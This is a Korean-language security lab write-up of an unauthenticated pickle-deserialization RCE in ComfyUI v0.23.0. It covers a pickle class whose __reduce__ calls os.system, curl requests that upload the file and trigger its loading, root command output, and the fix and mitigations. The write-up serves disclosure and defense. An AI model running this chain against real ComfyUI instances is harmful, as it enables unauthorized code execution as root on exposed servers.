
보안 연구소 — ComfyUI v0.23.0의 안전하지 않은 역직렬화를 통한 인증되지 않은 RCE (CVSS 9.8). 격리된 Docker 환경, 기술 분석 및 문서화.
교육 목적으로만 사용하십시오. 소유하고 있거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에만 사용하십시오.
ComfyUI는 AI 이미지 및 비디오 생성 모델을 로컬에서 실행하기 위한 오픈 소스 노드 기반 그래픽 인터페이스입니다. 사용자는 노드를 시각적으로 연결하여 복잡한 생성 파이프라인을 구축할 수 있습니다. 각 노드는 모델 로드, 텍스트 프롬프트 인코딩, 샘플링 또는 이미지 후처리와 같은 작업을 나타냅니다. 유연성과 다양한 모델(Stable Diffusion, Flux, HunyuanVideo 등) 지원 덕분에 AI 생성 커뮤니티에서 가장 널리 채택된 도구 중 하나가 되었습니다.
이 애플리케이션은 포트 8188에서 로컬 HTTP API를 노출하며, 프런트엔드는 이를 통해 백엔드와 통신하여 자산을 업로드하고 생성 워크플로를 대기열에 넣습니다. 단일 사용자 로컬 사용을 위해 설계되었지만, 내부 네트워크나 인터넷에 직접 노출된 ComfyUI 인스턴스를 흔히 발견할 수 있습니다. 클라우드 GPU 환경, 공유 연구 환경 또는 자체 호스팅 크리에이티브 스튜디오에서 종종 추가 인증 계층 없이 운영되며, 이는 이 취약점이 목표로 하는 위협 모델과 정확히 일치합니다.
공개 당시 ComfyUI는 GitHub에서 65,000개 이상의 스타를 보유했으며, 사용자 정의 노드와 확장 기능의 활발한 생태계를 가지고 있었습니다. 이들 중 다수는 핵심 애플리케이션 외에 추가 공격 표면을 도입합니다.
CVE-2026-68771은 ComfyUI v0.23.0의 안전하지 않은 역직렬화 취약점(CWE-502)으로, 인증되지 않은 원격 공격자가 서버에서 임의 코드를 실행할 수 있게 합니다. 공격 체인은 두 개의 인증되지 않은 엔드포인트를 결합합니다: 악성 pickle 파일을 업로드하는 POST /upload/image와 LoadTrainingDataset 노드를 통해 역직렬화를 트리거하는 POST /prompt입니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (치명적) |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (신뢰할 수 없는 데이터의 역직렬화) |
| 취약 버전 | ComfyUI v0.23.0 (및 수정 사항이 없는 이전 버전) |
| 수정 버전 | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| 공개일 | 2026년 7월 31일 |
weights_only 기본값 변경 이전 버전)POST /upload/image — server.py, 450-453행:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, 927-928행:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
두 엔드포인트 모두 접근 제어를 구현하지 않습니다. 모든 HTTP 클라이언트는 인증 없이 파일을 업로드하고 워크플로를 대기열에 넣을 수 있습니다.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, 1568행:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
weights_only=True 없이 호출된 torch.load()는 Python의 pickle 프로토콜을 사용하여 파일을 역직렬화합니다. Pickle은 데이터 형식이 아니라 Python 객체 직렬화 프로토콜로, 역직렬화 중에 모든 객체의 __reduce__ 메서드를 실행하여 임의 코드 실행을 가능하게 합니다.
이 노드는 PyTorch의 역사적 기본값(weights_only=False)에 의존했으며, 이는 전체 코드베이스에서 명시적 매개변수 없이 호출된 유일한 torch.load 호출이었습니다. 나머지 코드베이스(comfy/utils.py, comfy/sd1_clip.py)는 이미 올바르게 전달하고 있었습니다.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
페이로드는 Python의 pickle __reduce__ 프로토콜을 악용합니다. torch.load()가 파일을 역직렬화할 때, Python은 __reduce__가 반환한 호출 가능 객체를 호출하여 객체를 인스턴스화하며, 애플리케이션 로직이 실행되기 전에 공격자가 제어하는 명령을 실행합니다.
파일 이름은 LoadTrainingDataset.execute()에 파일 검색 필터로 하드코딩된 shard_*.pkl 패턴과 일치해야 합니다:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
출력:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
응답:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200, 토큰 없음, 세션 없음, 특수 헤더 없음.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
응답:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
파일: comfy_extras/nodes_dataset.py
작성자: Matt Miller
날짜: 2026년 6월 18일
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
단일 매개변수입니다. weights_only=True는 PyTorch가 텐서와 Python 기본 타입만 허용하는 제한된 역직렬화기를 사용하도록 지시하며, __reduce__가 있는 임의 객체를 거부합니다.
커밋 메시지는 이를 명확히 요약합니다:
"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."
PyTorch 버전 참고: PyTorch 2.6부터 weights_only의 기본값이 False에서 True로 변경되어, 코드 수정 없이도 최신 PyTorch 설치에서 취약점이 완화됩니다. 이 CVE는 특히 PyTorch < 2.6을 실행하는 설치에 영향을 미치며, 이는 2026년 7월 공개 당시의 일반적인 프로덕션 환경이었습니다.
ComfyUI를 커밋 94ee49b 이상으로 업데이트하십시오. 코드 한 줄입니다.
1. API 엔드포인트 인증
ComfyUI는 로컬 사용을 위해 설계되었습니다. 네트워크에 노출되는 경우, 기본 인증이 있는 리버스 프록시(nginx/Caddy)로 보호하거나 적절한 세션 관리와 함께 --multi-user 플래그를 사용해야 합니다.
2. ComfyUI를 인터넷에 직접 노출하지 마십시오
애플리케이션 설계는 신뢰할 수 있는 로컬 환경을 가정합니다. CVSS 9.8 점수는 애플리케이션 계층에서 접근 제어가 완전히 부재함을 반영합니다.
3. 업로드 시 파일 형식 검증
/upload/image 엔드포인트는 .pkl을 포함한 모든 파일 확장자를 허용합니다. 실제 이미지 형식의 화이트리스트에 대해 콘텐츠 유형과 확장자를 검증해야 합니다.
torch.load 호출에는 이미 매개변수가 있었음)는 이 노드가 보안 검토 없이 추가되었음을 시사합니다.weights_only 기본값을 변경하는 데 수년이 걸렸으며, 취약한 코드는 그 기간 내내 존재했습니다.분석은 교육 목적으로 격리된 환경에서 수행되었습니다. 문서화 후 실습 환경은 파괴되었습니다.